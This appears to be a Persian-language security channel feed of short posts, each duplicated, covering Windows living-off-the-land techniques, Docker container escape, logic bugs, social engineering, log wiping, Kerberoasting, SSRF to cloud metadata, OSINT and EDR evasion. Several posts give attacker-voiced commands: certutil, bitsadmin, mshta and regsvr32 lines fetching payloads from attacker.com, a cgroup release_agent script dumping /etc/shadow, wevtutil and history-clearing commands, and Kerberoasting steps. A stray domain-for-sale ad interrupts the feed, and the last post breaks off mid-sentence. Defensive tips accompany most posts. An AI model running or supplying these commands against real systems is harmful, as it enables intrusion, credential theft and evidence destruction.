Living off the Land، هنر استفاده از خود ویندوز
هکرهای آماتور بدافزار میارن تو سیستم.
حرفهایها از خود ابزارهای ویندوز استفاده میکنن.
چرا؟
چون این ابزارها خود ویندوزن.
آنتیویروس بهشون شک نمیکنه.
لاگها هم میگن "یه برنامه رسمی مایکروسافت اجرا شد".
نمونههاش:
certutil -urlcache -f http://attacker.com/payload.exe
یه ابزار رسمی ویندوزه که برای دانلود گواهی طراحی شده.
ولی میتونی باهاش هر فایلی دانلود کنی.
bitsadmin /transfer job http://attacker.com/file.exe C:\temp\file.exe
سرویس رسمی ویندوز برای دانلود آپدیت.
میتونی ازش برای دانلود هر چیزی استفاده کنی.
mshta http://attacker.com/script.hta
اجرای اسکریپت از راه دور.
هیچ فایلی رو دیسک ذخیره نمیشه.
regsvr32 /s /n /u /i:http://attacker.com/file.sct scrobj.dll
اجرای اسکریپت از راه دور.
با یه DLL رسمی ویندوز.
wmic process call create "cmd /c payload"
اجرای پروسه از راه دور.
برای همین میگن، بدافزار مدرن لازم نیست فایل باشه.
کافیه از خود ویندوز استفاده کنی.
#ℳℴ𝒷𝒾𝓃
هکرهای آماتور بدافزار میارن تو سیستم.
حرفهایها از خود ابزارهای ویندوز استفاده میکنن.
چرا؟
چون این ابزارها خود ویندوزن.
آنتیویروس بهشون شک نمیکنه.
لاگها هم میگن "یه برنامه رسمی مایکروسافت اجرا شد".
نمونههاش:
certutil -urlcache -f http://attacker.com/payload.exe
یه ابزار رسمی ویندوزه که برای دانلود گواهی طراحی شده.
ولی میتونی باهاش هر فایلی دانلود کنی.
bitsadmin /transfer job http://attacker.com/file.exe C:\temp\file.exe
سرویس رسمی ویندوز برای دانلود آپدیت.
میتونی ازش برای دانلود هر چیزی استفاده کنی.
mshta http://attacker.com/script.hta
اجرای اسکریپت از راه دور.
هیچ فایلی رو دیسک ذخیره نمیشه.
regsvr32 /s /n /u /i:http://attacker.com/file.sct scrobj.dll
اجرای اسکریپت از راه دور.
با یه DLL رسمی ویندوز.
wmic process call create "cmd /c payload"
اجرای پروسه از راه دور.
برای همین میگن، بدافزار مدرن لازم نیست فایل باشه.
کافیه از خود ویندوز استفاده کنی.
#ℳℴ𝒷𝒾𝓃
Attacker
Attacker - The Domain Name Attacker.com is Now For Sale.
Attacker.com is now for sale, lease or rent. Smart domain names compound conversion rates and this domain name for Attacker marketing is a wise investment.
❤8
Container Escape، فرار از داکر
فرض کن یه اپلیکیشن وب رو هک کردی که تو داکر اجرا میشه.
حالا داخل کانتینری. ولی هدف، خود میزبانه.
راههای فرار:
۱. دسترسی به Docker Socket
اگه /var/run/docker.sock تو کانتینر مانت شده باشه:
docker -H unix:///var/run/docker.sock run -v /:/host -it ubuntu
حالا کل هارد میزبان رو داری.
۲. Privileged Container
اگه کانتینر با --privileged اجرا شده:
mount /dev/sda1 /mnt
chroot /mnt
حالا root میزبان هستی.
۳. Kernel Exploit
اگه نسخه کرنل آسیبپذیر باشه،
از داخل کانتینر، کرنل رو اکسپلویت میکنی.
مثل Dirty COW, Dirty Pipe.
۴. cgroup Escape
اگه cgroup v1 باشه و release_agent قابل نوشتن:
echo '#!/bin/sh' > /tmp/exploit.sh
echo 'cat /etc/shadow > /tmp/shadow' >> /tmp/exploit.sh
chmod +x /tmp/exploit.sh
echo /tmp/exploit.sh > /sys/fs/cgroup/release_agent
۵. CAP_SYS_ADMIN
اگه این Capability رو داشته باشی:
mount -t cgroup -o rdma cgroup /tmp/cgrp
یه سری تنظیمات، بعد فرار.
دفاع:
کانتینر رو non-root اجرا کن.
--privileged رو حذف کن.
Docker Socket رو داخل کانتینر نذار.
از Seccomp و AppArmor استفاده کن.
#ℳℴ𝒷𝒾𝓃
فرض کن یه اپلیکیشن وب رو هک کردی که تو داکر اجرا میشه.
حالا داخل کانتینری. ولی هدف، خود میزبانه.
راههای فرار:
۱. دسترسی به Docker Socket
اگه /var/run/docker.sock تو کانتینر مانت شده باشه:
docker -H unix:///var/run/docker.sock run -v /:/host -it ubuntu
حالا کل هارد میزبان رو داری.
۲. Privileged Container
اگه کانتینر با --privileged اجرا شده:
mount /dev/sda1 /mnt
chroot /mnt
حالا root میزبان هستی.
۳. Kernel Exploit
اگه نسخه کرنل آسیبپذیر باشه،
از داخل کانتینر، کرنل رو اکسپلویت میکنی.
مثل Dirty COW, Dirty Pipe.
۴. cgroup Escape
اگه cgroup v1 باشه و release_agent قابل نوشتن:
echo '#!/bin/sh' > /tmp/exploit.sh
echo 'cat /etc/shadow > /tmp/shadow' >> /tmp/exploit.sh
chmod +x /tmp/exploit.sh
echo /tmp/exploit.sh > /sys/fs/cgroup/release_agent
۵. CAP_SYS_ADMIN
اگه این Capability رو داشته باشی:
mount -t cgroup -o rdma cgroup /tmp/cgrp
یه سری تنظیمات، بعد فرار.
دفاع:
کانتینر رو non-root اجرا کن.
--privileged رو حذف کن.
Docker Socket رو داخل کانتینر نذار.
از Seccomp و AppArmor استفاده کن.
#ℳℴ𝒷𝒾𝓃
❤6
آسیبپذیریهای منطقی، بدترین نوع باگ
بعضی باگها تکنیکی نیستن.
فقط یه فکر اشتباه تو منطق برنامهست.
مثال ۱: کد تخفیف
یه فروشگاه آنلاین کد تخفیف داره: OFF50
وقتی میزنی، ۵۰٪ تخفیف میگیری.
حالا اگه یه بار دیگه بزنی چی میشه؟
بعضی سایتها چک نمیکنن که کد قبلاً استفاده شده یا نه.
پس میتونی بینهایت تخفیف بگیری.
مثال ۲: تغییر قیمت
وقتی یه محصول رو به سبد اضافه میکنی،
قیمت تو یه فیلد مخفی تو فرم ذخیره میشه.
حالا اگه قیمت رو از ۱۰۰۰ به ۱ تغییر بدی چی؟
بعضی سایتها قیمت رو از سمت کاربر میخونن.
یعنی تو میتونی محصول رو یه تومان بخری.
مثال ۳: تغییر ID
example.com/order/1234
اگه 1234 رو به 1235 تغییر بدی چی؟
اگه سفارش کاربر دیگه رو ببینی، یعنی IDOR داری.
یعنی دسترسی کنترل درست پیاده نشده.
مثال ۴: پنل ادمین مخفی
example.com/admin
اگه صفحه لود نشد، یعنی فقط بر اساس URL چک میکنه.
اگه با یه هدر خاص بفرستی، شاید لود شه.
X-Forwarded-For: 127.0.0.1
چون خیلی از سرورها فکر میکنن درخواست از لوکاله.
#ℳℴ𝒷𝒾𝓃
بعضی باگها تکنیکی نیستن.
فقط یه فکر اشتباه تو منطق برنامهست.
مثال ۱: کد تخفیف
یه فروشگاه آنلاین کد تخفیف داره: OFF50
وقتی میزنی، ۵۰٪ تخفیف میگیری.
حالا اگه یه بار دیگه بزنی چی میشه؟
بعضی سایتها چک نمیکنن که کد قبلاً استفاده شده یا نه.
پس میتونی بینهایت تخفیف بگیری.
مثال ۲: تغییر قیمت
وقتی یه محصول رو به سبد اضافه میکنی،
قیمت تو یه فیلد مخفی تو فرم ذخیره میشه.
حالا اگه قیمت رو از ۱۰۰۰ به ۱ تغییر بدی چی؟
بعضی سایتها قیمت رو از سمت کاربر میخونن.
یعنی تو میتونی محصول رو یه تومان بخری.
مثال ۳: تغییر ID
example.com/order/1234
اگه 1234 رو به 1235 تغییر بدی چی؟
اگه سفارش کاربر دیگه رو ببینی، یعنی IDOR داری.
یعنی دسترسی کنترل درست پیاده نشده.
مثال ۴: پنل ادمین مخفی
example.com/admin
اگه صفحه لود نشد، یعنی فقط بر اساس URL چک میکنه.
اگه با یه هدر خاص بفرستی، شاید لود شه.
X-Forwarded-For: 127.0.0.1
چون خیلی از سرورها فکر میکنن درخواست از لوکاله.
#ℳℴ𝒷𝒾𝓃
❤6
مهندسی اجتماعی، حمله به انسان نه سیستم
بعضی وقتا نیازی نیست سیستمی رو هک کنی.
کافیه آدمش رو هک کنی.
۱. Pretexting
یه داستان میسازی که قابل باور باشه.
مثلاً خودت رو از IT شرکت جا میزنی و میگی:
"سلام، ما یه مشکل امنیتی تو سیستم شما دیدیم، برای تأیید، پسورد فعلی رو بگید."
۲. Baiting
یه فلش تو پارکینگ شرکت میندازی.
روش نوشته: "حقوق کارمندان ۱۴۰۳"
کارمند پیدا میکنه، فلش رو میزنه به سیستم.
بدافزار اجرا میشه.
۳. Tailgating
پشت یه کارمند وارد ساختمان اداری میشی.
دست پرته، کارتت رو میزنی، بعد تو هم رد میشی.
هیچکس نمیپرسه تو کی هستی.
۴. Quid Pro Quo
یه تماس میگیری، خودت رو از پشتیبانی جا میزنی.
میگی: "ما یه مشکل داریم، اگه کمک کنی یه تخفیف ویژه میگیری."
۵. Vishing
پیام صوتی میفرستی، خودت رو بانک جا میزنی.
"حساب شما مشکوک به کلاهبرداریه، برای تأیید شماره کارت رو بگید."
دفاع:
هیچوقت اطلاعات حساس رو تلفنی یا ایمیلی ندید.
همیشه هویت طرف رو از راه دیگه چک کنید.
آموزش کارمندان مهمترین لایه امنیته.
#ℳℴ𝒷𝒾𝓃
بعضی وقتا نیازی نیست سیستمی رو هک کنی.
کافیه آدمش رو هک کنی.
۱. Pretexting
یه داستان میسازی که قابل باور باشه.
مثلاً خودت رو از IT شرکت جا میزنی و میگی:
"سلام، ما یه مشکل امنیتی تو سیستم شما دیدیم، برای تأیید، پسورد فعلی رو بگید."
۲. Baiting
یه فلش تو پارکینگ شرکت میندازی.
روش نوشته: "حقوق کارمندان ۱۴۰۳"
کارمند پیدا میکنه، فلش رو میزنه به سیستم.
بدافزار اجرا میشه.
۳. Tailgating
پشت یه کارمند وارد ساختمان اداری میشی.
دست پرته، کارتت رو میزنی، بعد تو هم رد میشی.
هیچکس نمیپرسه تو کی هستی.
۴. Quid Pro Quo
یه تماس میگیری، خودت رو از پشتیبانی جا میزنی.
میگی: "ما یه مشکل داریم، اگه کمک کنی یه تخفیف ویژه میگیری."
۵. Vishing
پیام صوتی میفرستی، خودت رو بانک جا میزنی.
"حساب شما مشکوک به کلاهبرداریه، برای تأیید شماره کارت رو بگید."
دفاع:
هیچوقت اطلاعات حساس رو تلفنی یا ایمیلی ندید.
همیشه هویت طرف رو از راه دیگه چک کنید.
آموزش کارمندان مهمترین لایه امنیته.
#ℳℴ𝒷𝒾𝓃
❤7
چرا لاگها مهمترین بخش دفاع هستن
یه هکر حرفهای، میتونه ردش رو پاک کنه.
ولی یه هکر معمولی، اصلاً نمیدونه کجا رد گذاشته.
لاگهای حیاتی که هکرها دنبال پاک کردنشون هستن:
Linux:
/var/log/auth.log → تلاشهای SSH
/var/log/syslog → رویدادهای سیستم
/var/log/apache2/ → درخواستهای وب
~/.bash_history → فرمانهای کاربر
Windows:
Event ID 4624 → ورود موفق
Event ID 4625 → ورود ناموفق
Event ID 4688 → اجرای پروسه
Event ID 7045 → نصب سرویس
Sysmon:
Event ID 1 → اجرای پروسه
Event ID 3 → اتصال شبکه
Event ID 11 → ساخت فایل
Event ID 13 → تغییر رجیستری
حالا هکر چطور پاک میکنه؟
Linux:
history -c
unset HISTFILE
echo "" > /var/log/auth.log
Windows:
wevtutil cl Security
wevtutil cl System
Clear-EventLog -LogName *
چطور بفهمیم لاگ پاک شده؟
۱. اگه یه لاگ کاملاً خالیه، مشکوکه.
۲. اگه Event ID های معروف غیبن.
۳. اگه آخرین ورود تو لاگ، با چیزی که کاربر میگه نمیخونه.
۴. Sysmon میتونه لاگها رو به SIEM بفرسته، قبل از پاک شدن.
نکته:
همیشه لاگها رو Real-Time به یه سرور دیگه بفرست.
اونوقت حتی اگه سیستم قربانی کاملاً پاک شد، تو لاگ داری.
#ℳℴ𝒷𝒾𝓃
یه هکر حرفهای، میتونه ردش رو پاک کنه.
ولی یه هکر معمولی، اصلاً نمیدونه کجا رد گذاشته.
لاگهای حیاتی که هکرها دنبال پاک کردنشون هستن:
Linux:
/var/log/auth.log → تلاشهای SSH
/var/log/syslog → رویدادهای سیستم
/var/log/apache2/ → درخواستهای وب
~/.bash_history → فرمانهای کاربر
Windows:
Event ID 4624 → ورود موفق
Event ID 4625 → ورود ناموفق
Event ID 4688 → اجرای پروسه
Event ID 7045 → نصب سرویس
Sysmon:
Event ID 1 → اجرای پروسه
Event ID 3 → اتصال شبکه
Event ID 11 → ساخت فایل
Event ID 13 → تغییر رجیستری
حالا هکر چطور پاک میکنه؟
Linux:
history -c
unset HISTFILE
echo "" > /var/log/auth.log
Windows:
wevtutil cl Security
wevtutil cl System
Clear-EventLog -LogName *
چطور بفهمیم لاگ پاک شده؟
۱. اگه یه لاگ کاملاً خالیه، مشکوکه.
۲. اگه Event ID های معروف غیبن.
۳. اگه آخرین ورود تو لاگ، با چیزی که کاربر میگه نمیخونه.
۴. Sysmon میتونه لاگها رو به SIEM بفرسته، قبل از پاک شدن.
نکته:
همیشه لاگها رو Real-Time به یه سرور دیگه بفرست.
اونوقت حتی اگه سیستم قربانی کاملاً پاک شد، تو لاگ داری.
#ℳℴ𝒷𝒾𝓃
❤8🔥1
چرا آنتیویروسها همه چیز رو نمیگیرن
مردم فکر میکنن با یه آنتیویروس خیالشون راحته.
ولی واقعیت اینه که بدافزارهای مدرن راههای زیادی برای فرار دارن.
۱. Fileless Malware
هیچ فایلی روی دیسک نوشته نمیشه.
کد تو حافظه RAM اجرا میشه.
بعد از ریاستارت، هیچ اثری نیست.
آنتیویروس چیزی برای اسکن پیدا نمیکنه.
۲. Living off the Land
از خود ابزارهای ویندوز استفاده میکنه.
مثل PowerShell, wmic, rundll32.
آنتیویروس اینا رو به عنوان تهدید نمیبینه چون خود ویندوزن.
۳. Obfuscation
کد رو انقدر پیچیده میکنه که قابل خوندن نیست.
XOR, Base64, رمزنگاری سفارشی.
آنتیویروس امضاش رو نمیشناسه.
۴. Polymorphism
هر بار که اجرا میشه، شکلش عوض میشه.
یه بار MD5 فلان، دفعه بعد یه چیز دیگه.
آنتیویروس نمیتونه با امضا پیداش کنه.
۵. Sandbox Evasion
بدافزار چک میکنه تو Sandbox هست یا نه.
اگه بفهمه، خودش رو اجرا نمیکنه.
مثلاً چک میکنه CPU چنده، RAM چقدره.
اگه شبیه ماشین مجازی بود، دست به کار نمیشه.
دفاع واقعی:
آنتیویروس فقط یه لایهست.
لایههای دیگه: EDR, SIEM, Network Monitoring, User Training.
#ℳℴ𝒷𝒾𝓃
مردم فکر میکنن با یه آنتیویروس خیالشون راحته.
ولی واقعیت اینه که بدافزارهای مدرن راههای زیادی برای فرار دارن.
۱. Fileless Malware
هیچ فایلی روی دیسک نوشته نمیشه.
کد تو حافظه RAM اجرا میشه.
بعد از ریاستارت، هیچ اثری نیست.
آنتیویروس چیزی برای اسکن پیدا نمیکنه.
۲. Living off the Land
از خود ابزارهای ویندوز استفاده میکنه.
مثل PowerShell, wmic, rundll32.
آنتیویروس اینا رو به عنوان تهدید نمیبینه چون خود ویندوزن.
۳. Obfuscation
کد رو انقدر پیچیده میکنه که قابل خوندن نیست.
XOR, Base64, رمزنگاری سفارشی.
آنتیویروس امضاش رو نمیشناسه.
۴. Polymorphism
هر بار که اجرا میشه، شکلش عوض میشه.
یه بار MD5 فلان، دفعه بعد یه چیز دیگه.
آنتیویروس نمیتونه با امضا پیداش کنه.
۵. Sandbox Evasion
بدافزار چک میکنه تو Sandbox هست یا نه.
اگه بفهمه، خودش رو اجرا نمیکنه.
مثلاً چک میکنه CPU چنده، RAM چقدره.
اگه شبیه ماشین مجازی بود، دست به کار نمیشه.
دفاع واقعی:
آنتیویروس فقط یه لایهست.
لایههای دیگه: EDR, SIEM, Network Monitoring, User Training.
#ℳℴ𝒷𝒾𝓃
❤9
Supply Chain Attack، حمله از راه نرمافزار معتبر
مستقیم به هدف حمله نمیکنی.
نرمافزاری که هدف استفاده میکنه رو آلوده میکنی.
چرا؟
چون وقتی یه شرکت، آپدیت نرمافزارش رو منتشر میکنه،
همه مشتریاش اعتماد میکنن.
آپدیت امضا داره. از سرور رسمی میاد.
داستانهای واقعی:
SolarWinds
مهاجم کد مخرب رو تو آپدیت Orion گذاشت.
۱۸۰۰۰ سازمان، از جمله دولت آمریکا، آلوده شدن.
مدت شناسایی: ۹ ماه.
NotPetya
آپدیت نرمافزار حسابداری اوکراینی M.E.Doc آلوده شد.
کل دنیا رو گرفت. ۱۰ میلیارد دلار خسارت.
event-stream (npm)
یه پکیج محبوب npm، مالکش عوض شد.
مالک جدید کد مخرب بهش اضافه کرد.
یه کتابخونه crypto wallet هدف قرار گرفت.
۳CX (بزرگترین)
مهاجم به سیستم یه کارمند ۳CX دسترسی گرفت.
از اونجا به سیستم مشتریاش رفت.
حدود ۲۰۰ مشتری، از جمله بانکها.
دفاع:
همه وابستگیها رو پین کن به نسخه دقیق.
Checksum رو چک کن.
از محیط ایزوله برای بیلد استفاده کن.
SBOM بساز.
#ℳℴ𝒷𝒾𝓃
مستقیم به هدف حمله نمیکنی.
نرمافزاری که هدف استفاده میکنه رو آلوده میکنی.
چرا؟
چون وقتی یه شرکت، آپدیت نرمافزارش رو منتشر میکنه،
همه مشتریاش اعتماد میکنن.
آپدیت امضا داره. از سرور رسمی میاد.
داستانهای واقعی:
SolarWinds
مهاجم کد مخرب رو تو آپدیت Orion گذاشت.
۱۸۰۰۰ سازمان، از جمله دولت آمریکا، آلوده شدن.
مدت شناسایی: ۹ ماه.
NotPetya
آپدیت نرمافزار حسابداری اوکراینی M.E.Doc آلوده شد.
کل دنیا رو گرفت. ۱۰ میلیارد دلار خسارت.
event-stream (npm)
یه پکیج محبوب npm، مالکش عوض شد.
مالک جدید کد مخرب بهش اضافه کرد.
یه کتابخونه crypto wallet هدف قرار گرفت.
۳CX (بزرگترین)
مهاجم به سیستم یه کارمند ۳CX دسترسی گرفت.
از اونجا به سیستم مشتریاش رفت.
حدود ۲۰۰ مشتری، از جمله بانکها.
دفاع:
همه وابستگیها رو پین کن به نسخه دقیق.
Checksum رو چک کن.
از محیط ایزوله برای بیلد استفاده کن.
SBOM بساز.
#ℳℴ𝒷𝒾𝓃
❤6
Kerberoasting، حمله به Active Directory
فرض کن تو یه شبکه سازمانی هستی.
میخوای حسابهای سرویس رو هک کنی.
پسوردشون رو نمیدونی.
Kerberoasting چیکار میکنه؟
توی Kerberos، هر سرویس یه SPN داره.
یه کاربر عادی میتونه بگه: "یه Ticket برای این SPN بده."
این Ticket رمزنگاری شده با هش پسورد اون سرویس.
یعنی هش پسورد، داخل Ticket هست.
حالا اگه Ticket رو بگیری، میتونی بری خونه و آفلاین کرکش کنی.
هیچوقت نمیفهمن که داری کرک میکنی.
مراحل:
۱. پیدا کردن SPN ها
Get-ADUser -Filter {ServicePrincipalName -ne "$null"} -Properties ServicePrincipalName
۲. درخواست Ticket
Add-Type -AssemblyName System.IdentityModel
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "MSSQLSvc/sql01.corp.local:1433"
۳. استخراج Ticket
kerberos::list /export
۴. کرک آفلاین
tgsrepcrack.py wordlist.txt ticket.kirbi
چرا خطرناکه؟
چون حسابهای سرویس معمولاً پسوردشون عوض نمیشه.
هش پسورد ممکنه سالها تو AD بمونه.
پس یه هش قدیمی، ممکنه هنوز کار کنه.
دفاع:
حسابهای سرویس رو با پسورد ۲۵+ کاراکتری بساز.
هر ۳۰ روز عوض کن.
از Group Managed Service Accounts استفاده کن.
#ℳℴ𝒷𝒾𝓃
فرض کن تو یه شبکه سازمانی هستی.
میخوای حسابهای سرویس رو هک کنی.
پسوردشون رو نمیدونی.
Kerberoasting چیکار میکنه؟
توی Kerberos، هر سرویس یه SPN داره.
یه کاربر عادی میتونه بگه: "یه Ticket برای این SPN بده."
این Ticket رمزنگاری شده با هش پسورد اون سرویس.
یعنی هش پسورد، داخل Ticket هست.
حالا اگه Ticket رو بگیری، میتونی بری خونه و آفلاین کرکش کنی.
هیچوقت نمیفهمن که داری کرک میکنی.
مراحل:
۱. پیدا کردن SPN ها
Get-ADUser -Filter {ServicePrincipalName -ne "$null"} -Properties ServicePrincipalName
۲. درخواست Ticket
Add-Type -AssemblyName System.IdentityModel
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "MSSQLSvc/sql01.corp.local:1433"
۳. استخراج Ticket
kerberos::list /export
۴. کرک آفلاین
tgsrepcrack.py wordlist.txt ticket.kirbi
چرا خطرناکه؟
چون حسابهای سرویس معمولاً پسوردشون عوض نمیشه.
هش پسورد ممکنه سالها تو AD بمونه.
پس یه هش قدیمی، ممکنه هنوز کار کنه.
دفاع:
حسابهای سرویس رو با پسورد ۲۵+ کاراکتری بساز.
هر ۳۰ روز عوض کن.
از Group Managed Service Accounts استفاده کن.
#ℳℴ𝒷𝒾𝓃
❤4
Cloud Metadata، معدن طلا تو هر سرور ابری
هر سرور AWS, GCP, Azure یه آدرس مخفی داره.
این آدرس فقط از داخل خود سرور در دسترسه.
آدرسش:
AWS: http://169.254.169.254/latest/meta-data/
GCP: http://metadata.google.internal/computeMetadata/v1/
Azure: http://169.254.169.254/metadata/instance
چرا مهمه؟
چون تو این آدرس، اطلاعات حیاتی سرور هست.
از جمله IAM Credentials، که کلید دسترسی به حساب ابریه.
حالا SSRF رو در نظر بگیر.
فرض کن یه سایت داره:
example.com/fetch?url=http://example.com/image.jpg
حالا اگه بفرستی:
example.com/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/
چی میشه؟
سرور ابری، از طرف خودش درخواست میکنه به آدرس metadata.
و بهت Credentials دسترسی میده.
با این Credentials میتونی:
همه S3 Bucket ها رو ببینی
همه EC2 ها رو کنترل کنی
همه دیتابیسها رو بخونی
این حمله تو Capital One استفاده شد.
۱۲۰ میلیون کاربر لو رفت.
۲۰۰ میلیون دلار جریمه.
دفاع:
از IMDSv2 استفاده کن، نه v1.
تو سرور، دسترسی به 169.254.169.254 رو محدود کن.
ورودیهای URL رو اعتبارسنجی کن.
#ℳℴ𝒷𝒾𝓃
هر سرور AWS, GCP, Azure یه آدرس مخفی داره.
این آدرس فقط از داخل خود سرور در دسترسه.
آدرسش:
AWS: http://169.254.169.254/latest/meta-data/
GCP: http://metadata.google.internal/computeMetadata/v1/
Azure: http://169.254.169.254/metadata/instance
چرا مهمه؟
چون تو این آدرس، اطلاعات حیاتی سرور هست.
از جمله IAM Credentials، که کلید دسترسی به حساب ابریه.
حالا SSRF رو در نظر بگیر.
فرض کن یه سایت داره:
example.com/fetch?url=http://example.com/image.jpg
حالا اگه بفرستی:
example.com/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/
چی میشه؟
سرور ابری، از طرف خودش درخواست میکنه به آدرس metadata.
و بهت Credentials دسترسی میده.
با این Credentials میتونی:
همه S3 Bucket ها رو ببینی
همه EC2 ها رو کنترل کنی
همه دیتابیسها رو بخونی
این حمله تو Capital One استفاده شد.
۱۲۰ میلیون کاربر لو رفت.
۲۰۰ میلیون دلار جریمه.
دفاع:
از IMDSv2 استفاده کن، نه v1.
تو سرور، دسترسی به 169.254.169.254 رو محدود کن.
ورودیهای URL رو اعتبارسنجی کن.
#ℳℴ𝒷𝒾𝓃
❤4
OSINT حرفهای، پیدا کردن چیزی که نباید پیدا بشه
مردم فکر میکنن اگه چیزی رو Delete کردن، از بین رفته.
ولی اینترنت فراموش نمیکنه.
تکنیکهای طلایی:
۱. Google Dorks
site:target.com filetype:pdf
site:target.com inurl:admin
site:target.com ext:sql OR ext:log OR ext:bak
۲. Wayback Machine
web.archive.org
هر صفحهای که یه روزی آنلاین بوده، آرشیوش هست.
حتی اگه حذف شده باشه.
حتی اگه پنل ادمین باشه که بعداً بسته شده.
۳. GitHub Search
"company.com" password
"internal api" org:company
filename:.env "DB_PASSWORD"
خیلی وقتا کارمندها اشتباهاً کد یا پسورد رو Push میکنن.
۴. Certificate Transparency
crt.sh
هر گواهی SSL که برای دامنه صادر شده، اینجا ثبت میشه.
از این لیست، زیردامنههای مخفی رو پیدا میکنی.
۵. Shodan / Censys
org:"Company Name"
product:"Apache"
port:8080 country:IR
۶. Have I Been Pwned
haveibeenpwned.com
ایمیل کارمندان رو بده، ببین تو کدوم دیتابیس لو رفته بودن.
ممکنه همون پسورد قدیمی رو هنوز استفاده کنن.
۷. Social Media
کارمندا عکس از محیط کار میگیرن.
روی مانیتور، اسم نرمافزارها.
روی میز، کاغذهایی که پسورد دارن.
روی کارت، بج شرکت.
دفاع:
مهمترین چیز، آگاهی کارمنداست.
هر چیزی که آنلاین میذارن، ممکنه روزی علیهشون استفاده شه.
#ℳℴ𝒷𝒾𝓃
مردم فکر میکنن اگه چیزی رو Delete کردن، از بین رفته.
ولی اینترنت فراموش نمیکنه.
تکنیکهای طلایی:
۱. Google Dorks
site:target.com filetype:pdf
site:target.com inurl:admin
site:target.com ext:sql OR ext:log OR ext:bak
۲. Wayback Machine
web.archive.org
هر صفحهای که یه روزی آنلاین بوده، آرشیوش هست.
حتی اگه حذف شده باشه.
حتی اگه پنل ادمین باشه که بعداً بسته شده.
۳. GitHub Search
"company.com" password
"internal api" org:company
filename:.env "DB_PASSWORD"
خیلی وقتا کارمندها اشتباهاً کد یا پسورد رو Push میکنن.
۴. Certificate Transparency
crt.sh
هر گواهی SSL که برای دامنه صادر شده، اینجا ثبت میشه.
از این لیست، زیردامنههای مخفی رو پیدا میکنی.
۵. Shodan / Censys
org:"Company Name"
product:"Apache"
port:8080 country:IR
۶. Have I Been Pwned
haveibeenpwned.com
ایمیل کارمندان رو بده، ببین تو کدوم دیتابیس لو رفته بودن.
ممکنه همون پسورد قدیمی رو هنوز استفاده کنن.
۷. Social Media
کارمندا عکس از محیط کار میگیرن.
روی مانیتور، اسم نرمافزارها.
روی میز، کاغذهایی که پسورد دارن.
روی کارت، بج شرکت.
دفاع:
مهمترین چیز، آگاهی کارمنداست.
هر چیزی که آنلاین میذارن، ممکنه روزی علیهشون استفاده شه.
#ℳℴ𝒷𝒾𝓃
❤4
EDR Evasion، چرا بعضی بدافزارها گرفته نمیشن
EDR یعنی Endpoint Detection and Response.
نسل بعدی آنتیویروسهاست.
فقط امضا رو چک نمیکنه، رفتار رو تحلیل میکنه.
چطور کار میکنه؟
۱. API Hooking
توابع ویندوز رو قلاب میکنه.
هر بار که یه پروسه میخواد فایل باز کنه، اول از EDR میپرسه.
۲. Behavioral Analysis
چک میکنه پروسه چه رفتاری داره.
اگه یه Word بخواد PowerShell اجرا کنه، مشکوکه.
۳. Memory Scanning
حافظه پروسهها رو اسکن میکنه.
دنبال کدهای ناشناس میگرده.
۴. Kernel Callbacks
از داخل کرنل، رفتار پروسهها رو مانیتور میکنه.
حالا مهاجم چطور فرار میکنه؟
۱. Direct Syscall
به جای استفاده از API ویندوز، مستقیم به کرنل syscall میزنه.
EDR نمیتونه Hook کنه.
۲. Unhooking
DLL مربوط به EDR رو از حافظه پروسه پاک میکنه.
یا یه نسخه تمیز از دیسک میخونه.
۳. Process Injection
کدش رو تو یه پروسه معتبر (مثل explorer.exe) تزریق میکنه.
EDR فکر میکنه همه چی عادیه.
۴. Sleep Obfuscation
وقتی میخواد بخوابه، حافظهش رو رمزنگاری میکنه.
وقتی بیدار شد، رمزگشایی میکنه.
اسکنر حافظه چیزی نمیبینه.
۵. Living off the Land
از خود ابزارهای ویندوز استفاده میکنه.
EDR اینا رو به عنوان تهدید نمیبینه.
چرا اینا مهمه؟
چون اگه مهندس امنیت باشی، باید بدونی EDR چطور فریب میخوره.
اگه هکر باشی، باید بدونی چرا بعضی ابزارها لو میرن.
#ℳℴ𝒷𝒾𝓃
EDR یعنی Endpoint Detection and Response.
نسل بعدی آنتیویروسهاست.
فقط امضا رو چک نمیکنه، رفتار رو تحلیل میکنه.
چطور کار میکنه؟
۱. API Hooking
توابع ویندوز رو قلاب میکنه.
هر بار که یه پروسه میخواد فایل باز کنه، اول از EDR میپرسه.
۲. Behavioral Analysis
چک میکنه پروسه چه رفتاری داره.
اگه یه Word بخواد PowerShell اجرا کنه، مشکوکه.
۳. Memory Scanning
حافظه پروسهها رو اسکن میکنه.
دنبال کدهای ناشناس میگرده.
۴. Kernel Callbacks
از داخل کرنل، رفتار پروسهها رو مانیتور میکنه.
حالا مهاجم چطور فرار میکنه؟
۱. Direct Syscall
به جای استفاده از API ویندوز، مستقیم به کرنل syscall میزنه.
EDR نمیتونه Hook کنه.
۲. Unhooking
DLL مربوط به EDR رو از حافظه پروسه پاک میکنه.
یا یه نسخه تمیز از دیسک میخونه.
۳. Process Injection
کدش رو تو یه پروسه معتبر (مثل explorer.exe) تزریق میکنه.
EDR فکر میکنه همه چی عادیه.
۴. Sleep Obfuscation
وقتی میخواد بخوابه، حافظهش رو رمزنگاری میکنه.
وقتی بیدار شد، رمزگشایی میکنه.
اسکنر حافظه چیزی نمیبینه.
۵. Living off the Land
از خود ابزارهای ویندوز استفاده میکنه.
EDR اینا رو به عنوان تهدید نمیبینه.
چرا اینا مهمه؟
چون اگه مهندس امنیت باشی، باید بدونی EDR چطور فریب میخوره.
اگه هکر باشی، باید بدونی چرا بعضی ابزارها لو میرن.
#ℳℴ𝒷𝒾𝓃
❤5
چرا رمزنگاری End-to-End هم قابل شکسته؟
واتساپ، سیگنال، تلگرام Secret Chat همه E2EE دارن.
یعنی پیامها رمزنگاری شده و فقط گیرنده میتونه بخونه.
ولی چند تا راه برای شکستنش هست:
۱. حمله به خود کلاینت
مهم نیست پیام رمزنگاری شده.
اگه گوشی قربانی رو هک کنی، پیامها رو همونجا رمزگشایی شده میخونی.
۲. حمله به بکاپ
واتساپ بکاپ میگیره.
اگه بکاپ رمزنگاری نشده باشه، یا کلیدش ضعیف باشه،
میتونی مستقیم پیامها رو بخونی.
۳. حمله به متادیتا
محتوا رمزنگاری شده، ولی متادیتا نه.
کی با کی حرف زده، کِی، چند بار، چقدر طول کشیده.
این اطلاعات به تنهایی میتونه خیلی چیزها رو لو بده.
۴. Pegasus و اسپایورها
N، روز صفر پیدا میکنن تو خود اپ.
